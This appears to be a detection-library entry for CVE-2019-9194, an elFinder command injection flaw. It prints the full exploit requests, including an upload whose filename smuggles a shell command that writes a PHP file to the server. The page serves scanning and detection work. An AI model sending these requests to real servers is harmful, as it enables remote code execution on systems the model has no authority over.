CVE-2019-9194: elFinder <= 2.1.47 - Command Injection

🔍 Vulnerability Description

elFinder before 2.1.48 has a command injection vulnerability in the PHP connector. The vulnerability occurs when performing image operations on JPEG files, where the filename is passed to the exiftran utility without proper sanitization, allowing command injection.

🌐 HTTP Request

POST /php/connector.minimal.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 771
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Accept-Encoding: gzip

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="cmd"



upload

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="target"



l1_Lw

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="upload[]"; filename="uegwug.jpeg;echo PD9waHAgZWNobyBtZDUoJ2h2aGNicCcpO3VubGluayhfX0ZJTEVfXyk7Pz4= | base64 -d > hvhcbp.php;echo uegwug.jpeg"

Content-Type: image/jpeg



����JFIF


``��8Photoshop 3.08BIMt��;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 82
��C				


!'"#%%%),($+!$%$��C
				$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$���

"

��

------WebKitFormBoundary7MA4YWxkTrZu0gW--

GET /php/connector.minimal.php?target=WbAUB9&degree=180&mode=rotate&cmd=resize HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Accept-Encoding: gzip

GET /php/hvhcbp.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9194.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-9194.pcap